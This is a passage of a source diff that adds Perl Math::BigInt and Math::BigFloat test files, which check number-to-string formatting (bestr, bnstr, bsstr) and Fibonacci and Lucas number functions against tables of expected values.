+-3141.592:-3.141592e+3
+-31415.92:-31.41592e+3
+-314159.2:-314.1592e+3
+-3141592:-3.141592e+6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbi.t
new file mode 100644
index 00000000000..1d391d4e358
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bestr-mbi.t
@@ -0,0 +1,155 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 220;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ my $test = qq|\$x = Math::BigInt -> new("$x_str");|
+ . qq| \$str = \$x -> bestr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+1:1e+0
+10:10e+0
+100:100e+0
+1000:1e+3
+10000:10e+3
+100000:100e+3
+1000000:1e+6
+10000000:10e+6
+100000000:100e+6
+1000000000:1e+9
+10000000000:10e+9
+100000000000:100e+9
+1000000000000:1e+12
+
+12:12e+0
+120:120e+0
+1200:1.2e+3
+12000:12e+3
+120000:120e+3
+1200000:1.2e+6
+12000000:12e+6
+120000000:120e+6
+1200000000:1.2e+9
+12000000000:12e+9
+120000000000:120e+9
+1200000000000:1.2e+12
+
+123:123e+0
+1230:1.23e+3
+12300:12.3e+3
+123000:123e+3
+1230000:1.23e+6
+12300000:12.3e+6
+123000000:123e+6
+1230000000:1.23e+9
+12300000000:12.3e+9
+123000000000:123e+9
+1230000000000:1.23e+12
+
+1234:1.234e+3
+12340:12.34e+3
+123400:123.4e+3
+1234000:1.234e+6
+12340000:12.34e+6
+123400000:123.4e+6
+1234000000:1.234e+9
+12340000000:12.34e+9
+123400000000:123.4e+9
+1234000000000:1.234e+12
+
+3:3e+0
+31:31e+0
+314:314e+0
+3141:3.141e+3
+31415:31.415e+3
+314159:314.159e+3
+3141592:3.141592e+6
+
+# negative numbers
+
+-1:-1e+0
+-10:-10e+0
+-100:-100e+0
+-1000:-1e+3
+-10000:-10e+3
+-100000:-100e+3
+-1000000:-1e+6
+-10000000:-10e+6
+-100000000:-100e+6
+-1000000000:-1e+9
+-10000000000:-10e+9
+-100000000000:-100e+9
+-1000000000000:-1e+12
+
+-12:-12e+0
+-120:-120e+0
+-1200:-1.2e+3
+-12000:-12e+3
+-120000:-120e+3
+-1200000:-1.2e+6
+-12000000:-12e+6
+-120000000:-120e+6
+-1200000000:-1.2e+9
+-12000000000:-12e+9
+-120000000000:-120e+9
+-1200000000000:-1.2e+12
+
+-123:-123e+0
+-1230:-1.23e+3
+-12300:-12.3e+3
+-123000:-123e+3
+-1230000:-1.23e+6
+-12300000:-12.3e+6
+-123000000:-123e+6
+-1230000000:-1.23e+9
+-12300000000:-12.3e+9
+-123000000000:-123e+9
+-1230000000000:-1.23e+12
+
+-1234:-1.234e+3
+-12340:-12.34e+3
+-123400:-123.4e+3
+-1234000:-1.234e+6
+-12340000:-12.34e+6
+-123400000:-123.4e+6
+-1234000000:-1.234e+9
+-12340000000:-12.34e+9
+-123400000000:-123.4e+9
+-1234000000000:-1.234e+12
+
+-3:-3e+0
+-31:-31e+0
+-314:-314e+0
+-3141:-3.141e+3
+-31415:-31.415e+3
+-314159:-314.159e+3
+-3141592:-3.141592e+6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bfib-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bfib-mbi.t
new file mode 100644
index 00000000000..3b24eca8235
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bfib-mbi.t
@@ -0,0 +1,86 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 15;
+
+use Math::BigInt;
+
+my $x;
+
+###############################################################################
+# Scalar context.
+###############################################################################
+
+my $y;
+
+# Finite numbers.
+
+$x = Math::BigInt -> new("-20");
+$y = $x -> bfib();
+is($y, "-6765", "bfib(-20)");
+
+$x = Math::BigInt -> new("-15");
+$y = $x -> bfib();
+is($y, "610", "bfib(-15)");
+
+$x = Math::BigInt -> new("-2");
+$y = $x -> bfib();
+is($y, "-1", "bfib(-2)");
+
+$x = Math::BigInt -> new("-1");
+$y = $x -> bfib();
+is($y, "1", "bfib(-1)");
+
+$x = Math::BigInt -> new("0");
+$y = $x -> bfib();
+is($y, "0", "bfib(0)");
+
+$x = Math::BigInt -> new("1");
+$y = $x -> bfib();
+is($y, "1", "bfib(1)");
+
+$x = Math::BigInt -> new("2");
+$y = $x -> bfib();
+is($y, "1", "bfib(2)");
+
+$x = Math::BigInt -> new("15");
+$y = $x -> bfib();
+is($y, "610", "bfib(15)");
+
+$x = Math::BigInt -> new("20");
+$y = $x -> bfib();
+is($y, "6765", "bfib(20)");
+
+$x = Math::BigInt -> new("250");
+$y = $x -> bfib();
+is($y, "7896325826131730509282738943634332893686268675876375", "bfib(250)");
+
+# Infinites and NaN.
+
+$x = Math::BigInt -> binf("+");
+$y = $x -> bfib();
+is($y, "inf", "bfib(+inf)");
+
+$x = Math::BigInt -> binf("-");
+$y = $x -> bfib();
+is($y, "NaN", "bfib(-inf)");
+
+$x = Math::BigInt -> bnan();
+$y = $x -> bfib();
+is($y, "NaN", "bfib(NaN)");
+
+###############################################################################
+# List context.
+###############################################################################
+
+my @y;
+
+$x = Math::BigInt -> new("10");
+@y = $x -> bfib();
+is_deeply(\@y, [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55], "bfib(10)");
+
+$x = Math::BigInt -> new("-10");
+@y = $x -> bfib();
+is_deeply(\@y, [0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55], "bfib(-10)");
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/blucas-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/blucas-mbi.t
new file mode 100644
index 00000000000..17b9017fbfb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/blucas-mbi.t
@@ -0,0 +1,86 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 15;
+
+use Math::BigInt;
+
+my $x;
+
+###############################################################################
+# Scalar context.
+###############################################################################
+
+my $y;
+
+# Finite numbers.
+
+$x = Math::BigInt -> new("-20");
+$y = $x -> blucas();
+is($y, "-15127", "blucas(-20)");
+
+$x = Math::BigInt -> new("-15");
+$y = $x -> blucas();
+is($y, "1364", "blucas(-15)");
+
+$x = Math::BigInt -> new("-2");
+$y = $x -> blucas();
+is($y, "-3", "blucas(-2)");
+
+$x = Math::BigInt -> new("-1");
+$y = $x -> blucas();
+is($y, "1", "blucas(-1)");
+
+$x = Math::BigInt -> new("0");
+$y = $x -> blucas();
+is($y, "2", "blucas(0)");
+
+$x = Math::BigInt -> new("1");
+$y = $x -> blucas();
+is($y, "1", "blucas(1)");
+
+$x = Math::BigInt -> new("2");
+$y = $x -> blucas();
+is($y, "3", "blucas(2)");
+
+$x = Math::BigInt -> new("15");
+$y = $x -> blucas();
+is($y, "1364", "blucas(15)");
+
+$x = Math::BigInt -> new("20");
+$y = $x -> blucas();
+is($y, "15127", "blucas(20)");
+
+$x = Math::BigInt -> new("250");
+$y = $x -> blucas();
+is($y, "17656721319717734662791328845675730903632844218828123", "blucas(250)");
+
+# Infinites and NaN.
+
+$x = Math::BigInt -> binf("+");
+$y = $x -> blucas();
+is($y, "inf", "blucas(+inf)");
+
+$x = Math::BigInt -> binf("-");
+$y = $x -> blucas();
+is($y, "NaN", "blucas(-inf)");
+
+$x = Math::BigInt -> bnan();
+$y = $x -> blucas();
+is($y, "NaN", "blucas(NaN)");
+
+###############################################################################
+# List context.
+###############################################################################
+
+my @y;
+
+$x = Math::BigInt -> new("10");
+@y = $x -> blucas();
+is_deeply(\@y, [2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123], "blucas(10)");
+
+$x = Math::BigInt -> new("-10");
+@y = $x -> blucas();
+is_deeply(\@y, [2, 1, -3, 4, -7, 11, -18, 29, -47, 76, -123], "blucas(-10)");
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbf.t
new file mode 100644
index 00000000000..d21051a9157
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbf.t
@@ -0,0 +1,278 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 460;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ {
+ my $test = qq|\$x = Math::BigFloat -> new("$x_str");|
+ . qq| \$str = \$x -> bnstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+0.000000000001:1e-12
+0.00000000001:1e-11
+0.0000000001:1e-10
+0.000000001:1e-9
+0.00000001:1e-8
+0.0000001:1e-7
+0.000001:1e-6
+0.00001:1e-5
+0.0001:1e-4
+0.001:1e-3
+0.01:1e-2
+0.1:1e-1
+1:1e+0
+10:1e+1
+100:1e+2
+1000:1e+3
+10000:1e+4
+100000:1e+5
+1000000:1e+6
+10000000:1e+7
+100000000:1e+8
+1000000000:1e+9
+10000000000:1e+10
+100000000000:1e+11
+1000000000000:1e+12
+
+0.0000000000012:1.2e-12
+0.000000000012:1.2e-11
+0.00000000012:1.2e-10
+0.0000000012:1.2e-9
+0.000000012:1.2e-8
+0.00000012:1.2e-7
+0.0000012:1.2e-6
+0.000012:1.2e-5
+0.00012:1.2e-4
+0.0012:1.2e-3
+0.012:1.2e-2
+0.12:1.2e-1
+1.2:1.2e+0
+12:1.2e+1
+120:1.2e+2
+1200:1.2e+3
+12000:1.2e+4
+120000:1.2e+5
+1200000:1.2e+6
+12000000:1.2e+7
+120000000:1.2e+8
+1200000000:1.2e+9
+12000000000:1.2e+10
+120000000000:1.2e+11
+1200000000000:1.2e+12
+
+0.00000000000123:1.23e-12
+0.0000000000123:1.23e-11
+0.000000000123:1.23e-10
+0.00000000123:1.23e-9
+0.0000000123:1.23e-8
+0.000000123:1.23e-7
+0.00000123:1.23e-6
+0.0000123:1.23e-5
+0.000123:1.23e-4
+0.00123:1.23e-3
+0.0123:1.23e-2
+0.123:1.23e-1
+1.23:1.23e+0
+12.3:1.23e+1
+123:1.23e+2
+1230:1.23e+3
+12300:1.23e+4
+123000:1.23e+5
+1230000:1.23e+6
+12300000:1.23e+7
+123000000:1.23e+8
+1230000000:1.23e+9
+12300000000:1.23e+10
+123000000000:1.23e+11
+1230000000000:1.23e+12
+
+0.000000000001234:1.234e-12
+0.00000000001234:1.234e-11
+0.0000000001234:1.234e-10
+0.000000001234:1.234e-9
+0.00000001234:1.234e-8
+0.0000001234:1.234e-7
+0.000001234:1.234e-6
+0.00001234:1.234e-5
+0.0001234:1.234e-4
+0.001234:1.234e-3
+0.01234:1.234e-2
+0.1234:1.234e-1
+1.234:1.234e+0
+12.34:1.234e+1
+123.4:1.234e+2
+1234:1.234e+3
+12340:1.234e+4
+123400:1.234e+5
+1234000:1.234e+6
+12340000:1.234e+7
+123400000:1.234e+8
+1234000000:1.234e+9
+12340000000:1.234e+10
+123400000000:1.234e+11
+1234000000000:1.234e+12
+
+0.000003141592:3.141592e-6
+0.00003141592:3.141592e-5
+0.0003141592:3.141592e-4
+0.003141592:3.141592e-3
+0.03141592:3.141592e-2
+0.3141592:3.141592e-1
+3.141592:3.141592e+0
+31.41592:3.141592e+1
+314.1592:3.141592e+2
+3141.592:3.141592e+3
+31415.92:3.141592e+4
+314159.2:3.141592e+5
+3141592:3.141592e+6
+
+# negative numbers
+
+-0.000000000001:-1e-12
+-0.00000000001:-1e-11
+-0.0000000001:-1e-10
+-0.000000001:-1e-9
+-0.00000001:-1e-8
+-0.0000001:-1e-7
+-0.000001:-1e-6
+-0.00001:-1e-5
+-0.0001:-1e-4
+-0.001:-1e-3
+-0.01:-1e-2
+-0.1:-1e-1
+-1:-1e+0
+-10:-1e+1
+-100:-1e+2
+-1000:-1e+3
+-10000:-1e+4
+-100000:-1e+5
+-1000000:-1e+6
+-10000000:-1e+7
+-100000000:-1e+8
+-1000000000:-1e+9
+-10000000000:-1e+10
+-100000000000:-1e+11
+-1000000000000:-1e+12
+
+-0.0000000000012:-1.2e-12
+-0.000000000012:-1.2e-11
+-0.00000000012:-1.2e-10
+-0.0000000012:-1.2e-9
+-0.000000012:-1.2e-8
+-0.00000012:-1.2e-7
+-0.0000012:-1.2e-6
+-0.000012:-1.2e-5
+-0.00012:-1.2e-4
+-0.0012:-1.2e-3
+-0.012:-1.2e-2
+-0.12:-1.2e-1
+-1.2:-1.2e+0
+-12:-1.2e+1
+-120:-1.2e+2
+-1200:-1.2e+3
+-12000:-1.2e+4
+-120000:-1.2e+5
+-1200000:-1.2e+6
+-12000000:-1.2e+7
+-120000000:-1.2e+8
+-1200000000:-1.2e+9
+-12000000000:-1.2e+10
+-120000000000:-1.2e+11
+-1200000000000:-1.2e+12
+
+-0.00000000000123:-1.23e-12
+-0.0000000000123:-1.23e-11
+-0.000000000123:-1.23e-10
+-0.00000000123:-1.23e-9
+-0.0000000123:-1.23e-8
+-0.000000123:-1.23e-7
+-0.00000123:-1.23e-6
+-0.0000123:-1.23e-5
+-0.000123:-1.23e-4
+-0.00123:-1.23e-3
+-0.0123:-1.23e-2
+-0.123:-1.23e-1
+-1.23:-1.23e+0
+-12.3:-1.23e+1
+-123:-1.23e+2
+-1230:-1.23e+3
+-12300:-1.23e+4
+-123000:-1.23e+5
+-1230000:-1.23e+6
+-12300000:-1.23e+7
+-123000000:-1.23e+8
+-1230000000:-1.23e+9
+-12300000000:-1.23e+10
+-123000000000:-1.23e+11
+-1230000000000:-1.23e+12
+
+-0.000000000001234:-1.234e-12
+-0.00000000001234:-1.234e-11
+-0.0000000001234:-1.234e-10
+-0.000000001234:-1.234e-9
+-0.00000001234:-1.234e-8
+-0.0000001234:-1.234e-7
+-0.000001234:-1.234e-6
+-0.00001234:-1.234e-5
+-0.0001234:-1.234e-4
+-0.001234:-1.234e-3
+-0.01234:-1.234e-2
+-0.1234:-1.234e-1
+-1.234:-1.234e+0
+-12.34:-1.234e+1
+-123.4:-1.234e+2
+-1234:-1.234e+3
+-12340:-1.234e+4
+-123400:-1.234e+5
+-1234000:-1.234e+6
+-12340000:-1.234e+7
+-123400000:-1.234e+8
+-1234000000:-1.234e+9
+-12340000000:-1.234e+10
+-123400000000:-1.234e+11
+-1234000000000:-1.234e+12
+
+-0.000003141592:-3.141592e-6
+-0.00003141592:-3.141592e-5
+-0.0003141592:-3.141592e-4
+-0.003141592:-3.141592e-3
+-0.03141592:-3.141592e-2
+-0.3141592:-3.141592e-1
+-3.141592:-3.141592e+0
+-31.41592:-3.141592e+1
+-314.1592:-3.141592e+2
+-3141.592:-3.141592e+3
+-31415.92:-3.141592e+4
+-314159.2:-3.141592e+5
+-3141592:-3.141592e+6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbi.t
new file mode 100644
index 00000000000..361166c6db2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bnstr-mbi.t
@@ -0,0 +1,158 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 220;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ {
+ my $test = qq|\$x = Math::BigInt -> new("$x_str");|
+ . qq| \$str = \$x -> bnstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+1:1e+0
+10:1e+1
+100:1e+2
+1000:1e+3
+10000:1e+4
+100000:1e+5
+1000000:1e+6
+10000000:1e+7
+100000000:1e+8
+1000000000:1e+9
+10000000000:1e+10
+100000000000:1e+11
+1000000000000:1e+12
+
+12:1.2e+1
+120:1.2e+2
+1200:1.2e+3
+12000:1.2e+4
+120000:1.2e+5
+1200000:1.2e+6
+12000000:1.2e+7
+120000000:1.2e+8
+1200000000:1.2e+9
+12000000000:1.2e+10
+120000000000:1.2e+11
+1200000000000:1.2e+12
+
+123:1.23e+2
+1230:1.23e+3
+12300:1.23e+4
+123000:1.23e+5
+1230000:1.23e+6
+12300000:1.23e+7
+123000000:1.23e+8
+1230000000:1.23e+9
+12300000000:1.23e+10
+123000000000:1.23e+11
+1230000000000:1.23e+12
+
+1234:1.234e+3
+12340:1.234e+4
+123400:1.234e+5
+1234000:1.234e+6
+12340000:1.234e+7
+123400000:1.234e+8
+1234000000:1.234e+9
+12340000000:1.234e+10
+123400000000:1.234e+11
+1234000000000:1.234e+12
+
+3:3e+0
+31:3.1e+1
+314:3.14e+2
+3141:3.141e+3
+31415:3.1415e+4
+314159:3.14159e+5
+3141592:3.141592e+6
+
+# negative numbers
+
+-1:-1e+0
+-10:-1e+1
+-100:-1e+2
+-1000:-1e+3
+-10000:-1e+4
+-100000:-1e+5
+-1000000:-1e+6
+-10000000:-1e+7
+-100000000:-1e+8
+-1000000000:-1e+9
+-10000000000:-1e+10
+-100000000000:-1e+11
+-1000000000000:-1e+12
+
+-12:-1.2e+1
+-120:-1.2e+2
+-1200:-1.2e+3
+-12000:-1.2e+4
+-120000:-1.2e+5
+-1200000:-1.2e+6
+-12000000:-1.2e+7
+-120000000:-1.2e+8
+-1200000000:-1.2e+9
+-12000000000:-1.2e+10
+-120000000000:-1.2e+11
+-1200000000000:-1.2e+12
+
+-123:-1.23e+2
+-1230:-1.23e+3
+-12300:-1.23e+4
+-123000:-1.23e+5
+-1230000:-1.23e+6
+-12300000:-1.23e+7
+-123000000:-1.23e+8
+-1230000000:-1.23e+9
+-12300000000:-1.23e+10
+-123000000000:-1.23e+11
+-1230000000000:-1.23e+12
+
+-1234:-1.234e+3
+-12340:-1.234e+4
+-123400:-1.234e+5
+-1234000:-1.234e+6
+-12340000:-1.234e+7
+-123400000:-1.234e+8
+-1234000000:-1.234e+9
+-12340000000:-1.234e+10
+-123400000000:-1.234e+11
+-1234000000000:-1.234e+12
+
+-3:-3e+0
+-31:-3.1e+1
+-314:-3.14e+2
+-3141:-3.141e+3
+-31415:-3.1415e+4
+-314159:-3.14159e+5
+-3141592:-3.141592e+6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbf.t
new file mode 100644
index 00000000000..89faab17849
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbf.t
@@ -0,0 +1,275 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 460;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ my $test = qq|\$x = Math::BigFloat -> new("$x_str");|
+ . qq| \$str = \$x -> bsstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+0.000000000001:1e-12
+0.00000000001:1e-11
+0.0000000001:1e-10
+0.000000001:1e-9
+0.00000001:1e-8
+0.0000001:1e-7
+0.000001:1e-6
+0.00001:1e-5
+0.0001:1e-4
+0.001:1e-3
+0.01:1e-2
+0.1:1e-1
+1:1e+0
+10:1e+1
+100:1e+2
+1000:1e+3
+10000:1e+4
+100000:1e+5
+1000000:1e+6
+10000000:1e+7
+100000000:1e+8
+1000000000:1e+9
+10000000000:1e+10
+100000000000:1e+11
+1000000000000:1e+12
+
+0.0000000000012:12e-13
+0.000000000012:12e-12
+0.00000000012:12e-11
+0.0000000012:12e-10
+0.000000012:12e-9
+0.00000012:12e-8
+0.0000012:12e-7
+0.000012:12e-6
+0.00012:12e-5
+0.0012:12e-4
+0.012:12e-3
+0.12:12e-2
+1.2:12e-1
+12:12e+0
+120:12e+1
+1200:12e+2
+12000:12e+3
+120000:12e+4
+1200000:12e+5
+12000000:12e+6
+120000000:12e+7
+1200000000:12e+8
+12000000000:12e+9
+120000000000:12e+10
+1200000000000:12e+11
+
+0.00000000000123:123e-14
+0.0000000000123:123e-13
+0.000000000123:123e-12
+0.00000000123:123e-11
+0.0000000123:123e-10
+0.000000123:123e-9
+0.00000123:123e-8
+0.0000123:123e-7
+0.000123:123e-6
+0.00123:123e-5
+0.0123:123e-4
+0.123:123e-3
+1.23:123e-2
+12.3:123e-1
+123:123e+0
+1230:123e+1
+12300:123e+2
+123000:123e+3
+1230000:123e+4
+12300000:123e+5
+123000000:123e+6
+1230000000:123e+7
+12300000000:123e+8
+123000000000:123e+9
+1230000000000:123e+10
+
+0.000000000001234:1234e-15
+0.00000000001234:1234e-14
+0.0000000001234:1234e-13
+0.000000001234:1234e-12
+0.00000001234:1234e-11
+0.0000001234:1234e-10
+0.000001234:1234e-9
+0.00001234:1234e-8
+0.0001234:1234e-7
+0.001234:1234e-6
+0.01234:1234e-5
+0.1234:1234e-4
+1.234:1234e-3
+12.34:1234e-2
+123.4:1234e-1
+1234:1234e+0
+12340:1234e+1
+123400:1234e+2
+1234000:1234e+3
+12340000:1234e+4
+123400000:1234e+5
+1234000000:1234e+6
+12340000000:1234e+7
+123400000000:1234e+8
+1234000000000:1234e+9
+
+0.000003141592:3141592e-12
+0.00003141592:3141592e-11
+0.0003141592:3141592e-10
+0.003141592:3141592e-9
+0.03141592:3141592e-8
+0.3141592:3141592e-7
+3.141592:3141592e-6
+31.41592:3141592e-5
+314.1592:3141592e-4
+3141.592:3141592e-3
+31415.92:3141592e-2
+314159.2:3141592e-1
+3141592:3141592e+0
+
+# negative numbers
+
+-0.000000000001:-1e-12
+-0.00000000001:-1e-11
+-0.0000000001:-1e-10
+-0.000000001:-1e-9
+-0.00000001:-1e-8
+-0.0000001:-1e-7
+-0.000001:-1e-6
+-0.00001:-1e-5
+-0.0001:-1e-4
+-0.001:-1e-3
+-0.01:-1e-2
+-0.1:-1e-1
+-1:-1e+0
+-10:-1e+1
+-100:-1e+2
+-1000:-1e+3
+-10000:-1e+4
+-100000:-1e+5
+-1000000:-1e+6
+-10000000:-1e+7
+-100000000:-1e+8
+-1000000000:-1e+9
+-10000000000:-1e+10
+-100000000000:-1e+11
+-1000000000000:-1e+12
+
+-0.0000000000012:-12e-13
+-0.000000000012:-12e-12
+-0.00000000012:-12e-11
+-0.0000000012:-12e-10
+-0.000000012:-12e-9
+-0.00000012:-12e-8
+-0.0000012:-12e-7
+-0.000012:-12e-6
+-0.00012:-12e-5
+-0.0012:-12e-4
+-0.012:-12e-3
+-0.12:-12e-2
+-1.2:-12e-1
+-12:-12e+0
+-120:-12e+1
+-1200:-12e+2
+-12000:-12e+3
+-120000:-12e+4
+-1200000:-12e+5
+-12000000:-12e+6
+-120000000:-12e+7
+-1200000000:-12e+8
+-12000000000:-12e+9
+-120000000000:-12e+10
+-1200000000000:-12e+11
+
+-0.00000000000123:-123e-14
+-0.0000000000123:-123e-13
+-0.000000000123:-123e-12
+-0.00000000123:-123e-11
+-0.0000000123:-123e-10
+-0.000000123:-123e-9
+-0.00000123:-123e-8
+-0.0000123:-123e-7
+-0.000123:-123e-6
+-0.00123:-123e-5
+-0.0123:-123e-4
+-0.123:-123e-3
+-1.23:-123e-2
+-12.3:-123e-1
+-123:-123e+0
+-1230:-123e+1
+-12300:-123e+2
+-123000:-123e+3
+-1230000:-123e+4
+-12300000:-123e+5
+-123000000:-123e+6
+-1230000000:-123e+7
+-12300000000:-123e+8
+-123000000000:-123e+9
+-1230000000000:-123e+10
+
+-0.000000000001234:-1234e-15
+-0.00000000001234:-1234e-14
+-0.0000000001234:-1234e-13
+-0.000000001234:-1234e-12
+-0.00000001234:-1234e-11
+-0.0000001234:-1234e-10
+-0.000001234:-1234e-9
+-0.00001234:-1234e-8
+-0.0001234:-1234e-7
+-0.001234:-1234e-6
+-0.01234:-1234e-5
+-0.1234:-1234e-4
+-1.234:-1234e-3
+-12.34:-1234e-2
+-123.4:-1234e-1
+-1234:-1234e+0
+-12340:-1234e+1
+-123400:-1234e+2
+-1234000:-1234e+3
+-12340000:-1234e+4
+-123400000:-1234e+5
+-1234000000:-1234e+6
+-12340000000:-1234e+7
+-123400000000:-1234e+8
+-1234000000000:-1234e+9
+
+-0.000003141592:-3141592e-12
+-0.00003141592:-3141592e-11
+-0.0003141592:-3141592e-10
+-0.003141592:-3141592e-9
+-0.03141592:-3141592e-8
+-0.3141592:-3141592e-7
+-3.141592:-3141592e-6
+-31.41592:-3141592e-5
+-314.1592:-3141592e-4
+-3141.592:-3141592e-3
+-31415.92:-3141592e-2
+-314159.2:-3141592e-1
+-3141592:-3141592e+0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbi.t
new file mode 100644
index 00000000000..1422522d063
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/bsstr-mbi.t
@@ -0,0 +1,158 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 220;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $expected) = split /:/;
+ my ($x, $str);
+
+ {
+ my $test = qq|\$x = Math::BigInt -> new("$x_str");|
+ . qq| \$str = \$x -> bsstr();|;
+
+ note "\n$test\n\n";
+ eval $test;
+
+ is($str, $expected, qq|input value is "$x_str"|);
+ is($x, $x_str, "input object is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN
+
+inf:inf
+-inf:-inf
+
+0:0e+0
+
+# positive numbers
+
+1:1e+0
+10:1e+1
+100:1e+2
+1000:1e+3
+10000:1e+4
+100000:1e+5
+1000000:1e+6
+10000000:1e+7
+100000000:1e+8
+1000000000:1e+9
+10000000000:1e+10
+100000000000:1e+11
+1000000000000:1e+12
+
+12:12e+0
+120:12e+1
+1200:12e+2
+12000:12e+3
+120000:12e+4
+1200000:12e+5
+12000000:12e+6
+120000000:12e+7
+1200000000:12e+8
+12000000000:12e+9
+120000000000:12e+10
+1200000000000:12e+11
+
+123:123e+0
+1230:123e+1
+12300:123e+2
+123000:123e+3
+1230000:123e+4
+12300000:123e+5
+123000000:123e+6
+1230000000:123e+7
+12300000000:123e+8
+123000000000:123e+9
+1230000000000:123e+10
+
+1234:1234e+0
+12340:1234e+1
+123400:1234e+2
+1234000:1234e+3
+12340000:1234e+4
+123400000:1234e+5
+1234000000:1234e+6
+12340000000:1234e+7
+123400000000:1234e+8
+1234000000000:1234e+9
+
+3:3e+0
+31:31e+0
+314:314e+0
+3141:3141e+0
+31415:31415e+0
+314159:314159e+0
+3141592:3141592e+0
+
+# negative numbers
+
+-1:-1e+0
+-10:-1e+1
+-100:-1e+2
+-1000:-1e+3
+-10000:-1e+4
+-100000:-1e+5
+-1000000:-1e+6
+-10000000:-1e+7
+-100000000:-1e+8
+-1000000000:-1e+9
+-10000000000:-1e+10
+-100000000000:-1e+11
+-1000000000000:-1e+12
+
+-12:-12e+0
+-120:-12e+1
+-1200:-12e+2
+-12000:-12e+3
+-120000:-12e+4
+-1200000:-12e+5
+-12000000:-12e+6
+-120000000:-12e+7
+-1200000000:-12e+8
+-12000000000:-12e+9
+-120000000000:-12e+10
+-1200000000000:-12e+11
+
+-123:-123e+0
+-1230:-123e+1
+-12300:-123e+2
+-123000:-123e+3
+-1230000:-123e+4
+-12300000:-123e+5
+-123000000:-123e+6
+-1230000000:-123e+7
+-12300000000:-123e+8
+-123000000000:-123e+9
+-1230000000000:-123e+10
+
+-1234:-1234e+0
+-12340:-1234e+1
+-123400:-1234e+2
+-1234000:-1234e+3
+-12340000:-1234e+4
+-123400000:-1234e+5
+-1234000000:-1234e+6
+-12340000000:-1234e+7
+-123400000000:-1234e+8
+-1234000000000:-1234e+9
+
+-3:-3e+0
+-31:-31e+0
+-314:-314e+0
+-3141:-3141e+0
+-31415:-31415e+0
+-314159:-314159e+0
+-3141592:-3141592e+0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-class-methods.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-class-methods.t
new file mode 100644
index 00000000000..1bc0f6a2663
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-class-methods.t
@@ -0,0 +1,119 @@
+#!perl
+
+# test calling conventions, and :constant overloading
+
+use strict;
+use warnings;
+
